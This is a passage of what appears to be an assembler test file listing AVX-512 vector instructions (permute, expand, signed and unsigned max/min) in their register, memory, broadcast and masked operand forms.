vpermps ymm16, ymm13, ymm15
vpermps ymm16, ymm13, [rbx]
vpermps ymm16, ymm13, [rbx]{1to8}
vpermps ymm16, ymm13, [rbx+r11*8+256]
vpermps ymm16, ymm13, [rbx+r11*8-256]
vpermps ymm16{k5}, ymm13, ymm15
vpermps ymm16{k5}, ymm13, [rbx]
vpermps ymm16{k5}, ymm13, [rbx]{1to8}
vpermps ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermps ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermps ymm16{k5}{z}, ymm13, ymm15
vpermps ymm16{k5}{z}, ymm13, [rbx]
vpermps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermps zmm24, zmm24, zmm31
vpermps zmm24, zmm24, [rbx]
vpermps zmm24, zmm24, [rbx]{1to16}
vpermps zmm24, zmm24, [rbx+r11*8+256]
vpermps zmm24, zmm24, [rbx+r11*8-256]
vpermps zmm24{k5}, zmm24, zmm31
vpermps zmm24{k5}, zmm24, [rbx]
vpermps zmm24{k5}, zmm24, [rbx]{1to16}
vpermps zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermps zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermps zmm24{k5}{z}, zmm24, zmm31
vpermps zmm24{k5}{z}, zmm24, [rbx]
vpermps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermq ymm16, ymm13, ymm15
vpermq ymm16, ymm13, [rbx]
vpermq ymm16, ymm13, [rbx]{1to4}
vpermq ymm16, ymm13, [rbx+r11*8+256]
vpermq ymm16, ymm13, [rbx+r11*8-256]
vpermq ymm16{k5}, ymm13, ymm15
vpermq ymm16{k5}, ymm13, [rbx]
vpermq ymm16{k5}, ymm13, [rbx]{1to4}
vpermq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermq ymm16{k5}{z}, ymm13, ymm15
vpermq ymm16{k5}{z}, ymm13, [rbx]
vpermq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermq zmm24, zmm24, zmm31
vpermq zmm24, zmm24, [rbx]
vpermq zmm24, zmm24, [rbx]{1to8}
vpermq zmm24, zmm24, [rbx+r11*8+256]
vpermq zmm24, zmm24, [rbx+r11*8-256]
vpermq zmm24{k5}, zmm24, zmm31
vpermq zmm24{k5}, zmm24, [rbx]
vpermq zmm24{k5}, zmm24, [rbx]{1to8}
vpermq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermq zmm24{k5}{z}, zmm24, zmm31
vpermq zmm24{k5}{z}, zmm24, [rbx]
vpermq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermq ymm16, ymm15, 10
vpermq ymm16, [rbx], 10
vpermq ymm16, [rbx]{1to4}, 10
vpermq ymm16, [rbx+r11*8+256], 10
vpermq ymm16, [rbx+r11*8-256], 10
vpermq ymm16{k5}, ymm15, 10
vpermq ymm16{k5}, [rbx], 10
vpermq ymm16{k5}, [rbx]{1to4}, 10
vpermq ymm16{k5}, [rbx+r11*8+256], 10
vpermq ymm16{k5}, [rbx+r11*8-256], 10
vpermq ymm16{k5}{z}, ymm15, 10
vpermq ymm16{k5}{z}, [rbx], 10
vpermq ymm16{k5}{z}, [rbx]{1to4}, 10
vpermq ymm16{k5}{z}, [rbx+r11*8+256], 10
vpermq ymm16{k5}{z}, [rbx+r11*8-256], 10
vpermq zmm24, zmm31, 10
vpermq zmm24, [rbx], 10
vpermq zmm24, [rbx]{1to8}, 10
vpermq zmm24, [rbx+r11*8+256], 10
vpermq zmm24, [rbx+r11*8-256], 10
vpermq zmm24{k5}, zmm31, 10
vpermq zmm24{k5}, [rbx], 10
vpermq zmm24{k5}, [rbx]{1to8}, 10
vpermq zmm24{k5}, [rbx+r11*8+256], 10
vpermq zmm24{k5}, [rbx+r11*8-256], 10
vpermq zmm24{k5}{z}, zmm31, 10
vpermq zmm24{k5}{z}, [rbx], 10
vpermq zmm24{k5}{z}, [rbx]{1to8}, 10
vpermq zmm24{k5}{z}, [rbx+r11*8+256], 10
vpermq zmm24{k5}{z}, [rbx+r11*8-256], 10
vpermt2d xmm2, xmm7, xmm0
vpermt2d xmm2, xmm7, [rbx]
vpermt2d xmm2, xmm7, [rbx]{1to4}
vpermt2d xmm2, xmm7, [rbx+r11*8+256]
vpermt2d xmm2, xmm7, [rbx+r11*8-256]
vpermt2d xmm2{k5}, xmm7, xmm0
vpermt2d xmm2{k5}, xmm7, [rbx]
vpermt2d xmm2{k5}, xmm7, [rbx]{1to4}
vpermt2d xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermt2d xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermt2d xmm2{k5}{z}, xmm7, xmm0
vpermt2d xmm2{k5}{z}, xmm7, [rbx]
vpermt2d xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpermt2d xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermt2d xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermt2d ymm16, ymm13, ymm15
vpermt2d ymm16, ymm13, [rbx]
vpermt2d ymm16, ymm13, [rbx]{1to8}
vpermt2d ymm16, ymm13, [rbx+r11*8+256]
vpermt2d ymm16, ymm13, [rbx+r11*8-256]
vpermt2d ymm16{k5}, ymm13, ymm15
vpermt2d ymm16{k5}, ymm13, [rbx]
vpermt2d ymm16{k5}, ymm13, [rbx]{1to8}
vpermt2d ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermt2d ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermt2d ymm16{k5}{z}, ymm13, ymm15
vpermt2d ymm16{k5}{z}, ymm13, [rbx]
vpermt2d ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermt2d ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermt2d ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermt2d zmm24, zmm24, zmm31
vpermt2d zmm24, zmm24, [rbx]
vpermt2d zmm24, zmm24, [rbx]{1to16}
vpermt2d zmm24, zmm24, [rbx+r11*8+256]
vpermt2d zmm24, zmm24, [rbx+r11*8-256]
vpermt2d zmm24{k5}, zmm24, zmm31
vpermt2d zmm24{k5}, zmm24, [rbx]
vpermt2d zmm24{k5}, zmm24, [rbx]{1to16}
vpermt2d zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermt2d zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermt2d zmm24{k5}{z}, zmm24, zmm31
vpermt2d zmm24{k5}{z}, zmm24, [rbx]
vpermt2d zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermt2d zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermt2d zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermt2pd xmm2, xmm7, xmm0
vpermt2pd xmm2, xmm7, [rbx]
vpermt2pd xmm2, xmm7, [rbx]{1to2}
vpermt2pd xmm2, xmm7, [rbx+r11*8+256]
vpermt2pd xmm2, xmm7, [rbx+r11*8-256]
vpermt2pd xmm2{k5}, xmm7, xmm0
vpermt2pd xmm2{k5}, xmm7, [rbx]
vpermt2pd xmm2{k5}, xmm7, [rbx]{1to2}
vpermt2pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermt2pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermt2pd xmm2{k5}{z}, xmm7, xmm0
vpermt2pd xmm2{k5}{z}, xmm7, [rbx]
vpermt2pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpermt2pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermt2pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermt2pd ymm16, ymm13, ymm15
vpermt2pd ymm16, ymm13, [rbx]
vpermt2pd ymm16, ymm13, [rbx]{1to4}
vpermt2pd ymm16, ymm13, [rbx+r11*8+256]
vpermt2pd ymm16, ymm13, [rbx+r11*8-256]
vpermt2pd ymm16{k5}, ymm13, ymm15
vpermt2pd ymm16{k5}, ymm13, [rbx]
vpermt2pd ymm16{k5}, ymm13, [rbx]{1to4}
vpermt2pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermt2pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermt2pd ymm16{k5}{z}, ymm13, ymm15
vpermt2pd ymm16{k5}{z}, ymm13, [rbx]
vpermt2pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermt2pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermt2pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermt2pd zmm24, zmm24, zmm31
vpermt2pd zmm24, zmm24, [rbx]
vpermt2pd zmm24, zmm24, [rbx]{1to8}
vpermt2pd zmm24, zmm24, [rbx+r11*8+256]
vpermt2pd zmm24, zmm24, [rbx+r11*8-256]
vpermt2pd zmm24{k5}, zmm24, zmm31
vpermt2pd zmm24{k5}, zmm24, [rbx]
vpermt2pd zmm24{k5}, zmm24, [rbx]{1to8}
vpermt2pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermt2pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermt2pd zmm24{k5}{z}, zmm24, zmm31
vpermt2pd zmm24{k5}{z}, zmm24, [rbx]
vpermt2pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermt2pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermt2pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermt2ps xmm2, xmm7, xmm0
vpermt2ps xmm2, xmm7, [rbx]
vpermt2ps xmm2, xmm7, [rbx]{1to4}
vpermt2ps xmm2, xmm7, [rbx+r11*8+256]
vpermt2ps xmm2, xmm7, [rbx+r11*8-256]
vpermt2ps xmm2{k5}, xmm7, xmm0
vpermt2ps xmm2{k5}, xmm7, [rbx]
vpermt2ps xmm2{k5}, xmm7, [rbx]{1to4}
vpermt2ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermt2ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermt2ps xmm2{k5}{z}, xmm7, xmm0
vpermt2ps xmm2{k5}{z}, xmm7, [rbx]
vpermt2ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpermt2ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermt2ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermt2ps ymm16, ymm13, ymm15
vpermt2ps ymm16, ymm13, [rbx]
vpermt2ps ymm16, ymm13, [rbx]{1to8}
vpermt2ps ymm16, ymm13, [rbx+r11*8+256]
vpermt2ps ymm16, ymm13, [rbx+r11*8-256]
vpermt2ps ymm16{k5}, ymm13, ymm15
vpermt2ps ymm16{k5}, ymm13, [rbx]
vpermt2ps ymm16{k5}, ymm13, [rbx]{1to8}
vpermt2ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermt2ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermt2ps ymm16{k5}{z}, ymm13, ymm15
vpermt2ps ymm16{k5}{z}, ymm13, [rbx]
vpermt2ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermt2ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermt2ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermt2ps zmm24, zmm24, zmm31
vpermt2ps zmm24, zmm24, [rbx]
vpermt2ps zmm24, zmm24, [rbx]{1to16}
vpermt2ps zmm24, zmm24, [rbx+r11*8+256]
vpermt2ps zmm24, zmm24, [rbx+r11*8-256]
vpermt2ps zmm24{k5}, zmm24, zmm31
vpermt2ps zmm24{k5}, zmm24, [rbx]
vpermt2ps zmm24{k5}, zmm24, [rbx]{1to16}
vpermt2ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermt2ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermt2ps zmm24{k5}{z}, zmm24, zmm31
vpermt2ps zmm24{k5}{z}, zmm24, [rbx]
vpermt2ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermt2ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermt2ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermt2q xmm2, xmm7, xmm0
vpermt2q xmm2, xmm7, [rbx]
vpermt2q xmm2, xmm7, [rbx]{1to2}
vpermt2q xmm2, xmm7, [rbx+r11*8+256]
vpermt2q xmm2, xmm7, [rbx+r11*8-256]
vpermt2q xmm2{k5}, xmm7, xmm0
vpermt2q xmm2{k5}, xmm7, [rbx]
vpermt2q xmm2{k5}, xmm7, [rbx]{1to2}
vpermt2q xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermt2q xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermt2q xmm2{k5}{z}, xmm7, xmm0
vpermt2q xmm2{k5}{z}, xmm7, [rbx]
vpermt2q xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpermt2q xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermt2q xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermt2q ymm16, ymm13, ymm15
vpermt2q ymm16, ymm13, [rbx]
vpermt2q ymm16, ymm13, [rbx]{1to4}
vpermt2q ymm16, ymm13, [rbx+r11*8+256]
vpermt2q ymm16, ymm13, [rbx+r11*8-256]
vpermt2q ymm16{k5}, ymm13, ymm15
vpermt2q ymm16{k5}, ymm13, [rbx]
vpermt2q ymm16{k5}, ymm13, [rbx]{1to4}
vpermt2q ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermt2q ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermt2q ymm16{k5}{z}, ymm13, ymm15
vpermt2q ymm16{k5}{z}, ymm13, [rbx]
vpermt2q ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermt2q ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermt2q ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermt2q zmm24, zmm24, zmm31
vpermt2q zmm24, zmm24, [rbx]
vpermt2q zmm24, zmm24, [rbx]{1to8}
vpermt2q zmm24, zmm24, [rbx+r11*8+256]
vpermt2q zmm24, zmm24, [rbx+r11*8-256]
vpermt2q zmm24{k5}, zmm24, zmm31
vpermt2q zmm24{k5}, zmm24, [rbx]
vpermt2q zmm24{k5}, zmm24, [rbx]{1to8}
vpermt2q zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermt2q zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermt2q zmm24{k5}{z}, zmm24, zmm31
vpermt2q zmm24{k5}{z}, zmm24, [rbx]
vpermt2q zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermt2q zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermt2q zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpexpandd xmm2, xmm0
vpexpandd xmm2, [rbx]
vpexpandd xmm2, [rbx+r11*8+256]
vpexpandd xmm2, [rbx+r11*8-256]
vpexpandd xmm2{k5}, xmm0
vpexpandd xmm2{k5}, [rbx]
vpexpandd xmm2{k5}, [rbx+r11*8+256]
vpexpandd xmm2{k5}, [rbx+r11*8-256]
vpexpandd xmm2{k5}{z}, xmm0
vpexpandd xmm2{k5}{z}, [rbx]
vpexpandd xmm2{k5}{z}, [rbx+r11*8+256]
vpexpandd xmm2{k5}{z}, [rbx+r11*8-256]
vpexpandd ymm16, ymm15
vpexpandd ymm16, [rbx]
vpexpandd ymm16, [rbx+r11*8+256]
vpexpandd ymm16, [rbx+r11*8-256]
vpexpandd ymm16{k5}, ymm15
vpexpandd ymm16{k5}, [rbx]
vpexpandd ymm16{k5}, [rbx+r11*8+256]
vpexpandd ymm16{k5}, [rbx+r11*8-256]
vpexpandd ymm16{k5}{z}, ymm15
vpexpandd ymm16{k5}{z}, [rbx]
vpexpandd ymm16{k5}{z}, [rbx+r11*8+256]
vpexpandd ymm16{k5}{z}, [rbx+r11*8-256]
vpexpandd zmm24, zmm31
vpexpandd zmm24, [rbx]
vpexpandd zmm24, [rbx+r11*8+256]
vpexpandd zmm24, [rbx+r11*8-256]
vpexpandd zmm24{k5}, zmm31
vpexpandd zmm24{k5}, [rbx]
vpexpandd zmm24{k5}, [rbx+r11*8+256]
vpexpandd zmm24{k5}, [rbx+r11*8-256]
vpexpandd zmm24{k5}{z}, zmm31
vpexpandd zmm24{k5}{z}, [rbx]
vpexpandd zmm24{k5}{z}, [rbx+r11*8+256]
vpexpandd zmm24{k5}{z}, [rbx+r11*8-256]
vpexpandq xmm2, xmm0
vpexpandq xmm2, [rbx]
vpexpandq xmm2, [rbx+r11*8+256]
vpexpandq xmm2, [rbx+r11*8-256]
vpexpandq xmm2{k5}, xmm0
vpexpandq xmm2{k5}, [rbx]
vpexpandq xmm2{k5}, [rbx+r11*8+256]
vpexpandq xmm2{k5}, [rbx+r11*8-256]
vpexpandq xmm2{k5}{z}, xmm0
vpexpandq xmm2{k5}{z}, [rbx]
vpexpandq xmm2{k5}{z}, [rbx+r11*8+256]
vpexpandq xmm2{k5}{z}, [rbx+r11*8-256]
vpexpandq ymm16, ymm15
vpexpandq ymm16, [rbx]
vpexpandq ymm16, [rbx+r11*8+256]
vpexpandq ymm16, [rbx+r11*8-256]
vpexpandq ymm16{k5}, ymm15
vpexpandq ymm16{k5}, [rbx]
vpexpandq ymm16{k5}, [rbx+r11*8+256]
vpexpandq ymm16{k5}, [rbx+r11*8-256]
vpexpandq ymm16{k5}{z}, ymm15
vpexpandq ymm16{k5}{z}, [rbx]
vpexpandq ymm16{k5}{z}, [rbx+r11*8+256]
vpexpandq ymm16{k5}{z}, [rbx+r11*8-256]
vpexpandq zmm24, zmm31
vpexpandq zmm24, [rbx]
vpexpandq zmm24, [rbx+r11*8+256]
vpexpandq zmm24, [rbx+r11*8-256]
vpexpandq zmm24{k5}, zmm31
vpexpandq zmm24{k5}, [rbx]
vpexpandq zmm24{k5}, [rbx+r11*8+256]
vpexpandq zmm24{k5}, [rbx+r11*8-256]
vpexpandq zmm24{k5}{z}, zmm31
vpexpandq zmm24{k5}{z}, [rbx]
vpexpandq zmm24{k5}{z}, [rbx+r11*8+256]
vpexpandq zmm24{k5}{z}, [rbx+r11*8-256]
vpmaxsd xmm2, xmm7, xmm0
vpmaxsd xmm2, xmm7, [rbx]
vpmaxsd xmm2, xmm7, [rbx]{1to4}
vpmaxsd xmm2, xmm7, [rbx+r11*8+256]
vpmaxsd xmm2, xmm7, [rbx+r11*8-256]
vpmaxsd xmm2{k5}, xmm7, xmm0
vpmaxsd xmm2{k5}, xmm7, [rbx]
vpmaxsd xmm2{k5}, xmm7, [rbx]{1to4}
vpmaxsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmaxsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmaxsd xmm2{k5}{z}, xmm7, xmm0
vpmaxsd xmm2{k5}{z}, xmm7, [rbx]
vpmaxsd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpmaxsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmaxsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmaxsd ymm16, ymm13, ymm15
vpmaxsd ymm16, ymm13, [rbx]
vpmaxsd ymm16, ymm13, [rbx]{1to8}
vpmaxsd ymm16, ymm13, [rbx+r11*8+256]
vpmaxsd ymm16, ymm13, [rbx+r11*8-256]
vpmaxsd ymm16{k5}, ymm13, ymm15
vpmaxsd ymm16{k5}, ymm13, [rbx]
vpmaxsd ymm16{k5}, ymm13, [rbx]{1to8}
vpmaxsd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmaxsd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmaxsd ymm16{k5}{z}, ymm13, ymm15
vpmaxsd ymm16{k5}{z}, ymm13, [rbx]
vpmaxsd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpmaxsd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmaxsd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmaxsd zmm24, zmm24, zmm31
vpmaxsd zmm24, zmm24, [rbx]
vpmaxsd zmm24, zmm24, [rbx]{1to16}
vpmaxsd zmm24, zmm24, [rbx+r11*8+256]
vpmaxsd zmm24, zmm24, [rbx+r11*8-256]
vpmaxsd zmm24{k5}, zmm24, zmm31
vpmaxsd zmm24{k5}, zmm24, [rbx]
vpmaxsd zmm24{k5}, zmm24, [rbx]{1to16}
vpmaxsd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmaxsd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmaxsd zmm24{k5}{z}, zmm24, zmm31
vpmaxsd zmm24{k5}{z}, zmm24, [rbx]
vpmaxsd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpmaxsd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmaxsd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpmaxsq xmm2, xmm7, xmm0
vpmaxsq xmm2, xmm7, [rbx]
vpmaxsq xmm2, xmm7, [rbx]{1to2}
vpmaxsq xmm2, xmm7, [rbx+r11*8+256]
vpmaxsq xmm2, xmm7, [rbx+r11*8-256]
vpmaxsq xmm2{k5}, xmm7, xmm0
vpmaxsq xmm2{k5}, xmm7, [rbx]
vpmaxsq xmm2{k5}, xmm7, [rbx]{1to2}
vpmaxsq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmaxsq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmaxsq xmm2{k5}{z}, xmm7, xmm0
vpmaxsq xmm2{k5}{z}, xmm7, [rbx]
vpmaxsq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpmaxsq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmaxsq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmaxsq ymm16, ymm13, ymm15
vpmaxsq ymm16, ymm13, [rbx]
vpmaxsq ymm16, ymm13, [rbx]{1to4}
vpmaxsq ymm16, ymm13, [rbx+r11*8+256]
vpmaxsq ymm16, ymm13, [rbx+r11*8-256]
vpmaxsq ymm16{k5}, ymm13, ymm15
vpmaxsq ymm16{k5}, ymm13, [rbx]
vpmaxsq ymm16{k5}, ymm13, [rbx]{1to4}
vpmaxsq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmaxsq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmaxsq ymm16{k5}{z}, ymm13, ymm15
vpmaxsq ymm16{k5}{z}, ymm13, [rbx]
vpmaxsq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpmaxsq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmaxsq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmaxsq zmm24, zmm24, zmm31
vpmaxsq zmm24, zmm24, [rbx]
vpmaxsq zmm24, zmm24, [rbx]{1to8}
vpmaxsq zmm24, zmm24, [rbx+r11*8+256]
vpmaxsq zmm24, zmm24, [rbx+r11*8-256]
vpmaxsq zmm24{k5}, zmm24, zmm31
vpmaxsq zmm24{k5}, zmm24, [rbx]
vpmaxsq zmm24{k5}, zmm24, [rbx]{1to8}
vpmaxsq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmaxsq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmaxsq zmm24{k5}{z}, zmm24, zmm31
vpmaxsq zmm24{k5}{z}, zmm24, [rbx]
vpmaxsq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpmaxsq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmaxsq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpmaxud xmm2, xmm7, xmm0
vpmaxud xmm2, xmm7, [rbx]
vpmaxud xmm2, xmm7, [rbx]{1to4}
vpmaxud xmm2, xmm7, [rbx+r11*8+256]
vpmaxud xmm2, xmm7, [rbx+r11*8-256]
vpmaxud xmm2{k5}, xmm7, xmm0
vpmaxud xmm2{k5}, xmm7, [rbx]
vpmaxud xmm2{k5}, xmm7, [rbx]{1to4}
vpmaxud xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmaxud xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmaxud xmm2{k5}{z}, xmm7, xmm0
vpmaxud xmm2{k5}{z}, xmm7, [rbx]
vpmaxud xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpmaxud xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmaxud xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmaxud ymm16, ymm13, ymm15
vpmaxud ymm16, ymm13, [rbx]
vpmaxud ymm16, ymm13, [rbx]{1to8}
vpmaxud ymm16, ymm13, [rbx+r11*8+256]
vpmaxud ymm16, ymm13, [rbx+r11*8-256]
vpmaxud ymm16{k5}, ymm13, ymm15
vpmaxud ymm16{k5}, ymm13, [rbx]
vpmaxud ymm16{k5}, ymm13, [rbx]{1to8}
vpmaxud ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmaxud ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmaxud ymm16{k5}{z}, ymm13, ymm15
vpmaxud ymm16{k5}{z}, ymm13, [rbx]
vpmaxud ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpmaxud ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmaxud ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmaxud zmm24, zmm24, zmm31
vpmaxud zmm24, zmm24, [rbx]
vpmaxud zmm24, zmm24, [rbx]{1to16}
vpmaxud zmm24, zmm24, [rbx+r11*8+256]
vpmaxud zmm24, zmm24, [rbx+r11*8-256]
vpmaxud zmm24{k5}, zmm24, zmm31
vpmaxud zmm24{k5}, zmm24, [rbx]
vpmaxud zmm24{k5}, zmm24, [rbx]{1to16}
vpmaxud zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmaxud zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmaxud zmm24{k5}{z}, zmm24, zmm31
vpmaxud zmm24{k5}{z}, zmm24, [rbx]
vpmaxud zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpmaxud zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmaxud zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpmaxuq xmm2, xmm7, xmm0
vpmaxuq xmm2, xmm7, [rbx]
vpmaxuq xmm2, xmm7, [rbx]{1to2}
vpmaxuq xmm2, xmm7, [rbx+r11*8+256]
vpmaxuq xmm2, xmm7, [rbx+r11*8-256]
vpmaxuq xmm2{k5}, xmm7, xmm0
vpmaxuq xmm2{k5}, xmm7, [rbx]
vpmaxuq xmm2{k5}, xmm7, [rbx]{1to2}
vpmaxuq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmaxuq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmaxuq xmm2{k5}{z}, xmm7, xmm0
vpmaxuq xmm2{k5}{z}, xmm7, [rbx]
vpmaxuq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpmaxuq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmaxuq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmaxuq ymm16, ymm13, ymm15
vpmaxuq ymm16, ymm13, [rbx]
vpmaxuq ymm16, ymm13, [rbx]{1to4}
vpmaxuq ymm16, ymm13, [rbx+r11*8+256]
vpmaxuq ymm16, ymm13, [rbx+r11*8-256]
vpmaxuq ymm16{k5}, ymm13, ymm15
vpmaxuq ymm16{k5}, ymm13, [rbx]
vpmaxuq ymm16{k5}, ymm13, [rbx]{1to4}
vpmaxuq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmaxuq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmaxuq ymm16{k5}{z}, ymm13, ymm15
vpmaxuq ymm16{k5}{z}, ymm13, [rbx]
vpmaxuq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpmaxuq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmaxuq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmaxuq zmm24, zmm24, zmm31
vpmaxuq zmm24, zmm24, [rbx]
vpmaxuq zmm24, zmm24, [rbx]{1to8}
vpmaxuq zmm24, zmm24, [rbx+r11*8+256]
vpmaxuq zmm24, zmm24, [rbx+r11*8-256]
vpmaxuq zmm24{k5}, zmm24, zmm31
vpmaxuq zmm24{k5}, zmm24, [rbx]
vpmaxuq zmm24{k5}, zmm24, [rbx]{1to8}
vpmaxuq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmaxuq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmaxuq zmm24{k5}{z}, zmm24, zmm31
vpmaxuq zmm24{k5}{z}, zmm24, [rbx]
vpmaxuq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpmaxuq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmaxuq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpminsd xmm2, xmm7, xmm0
vpminsd xmm2, xmm7, [rbx]
vpminsd xmm2, xmm7, [rbx]{1to4}
vpminsd xmm2, xmm7, [rbx+r11*8+256]
vpminsd xmm2, xmm7, [rbx+r11*8-256]
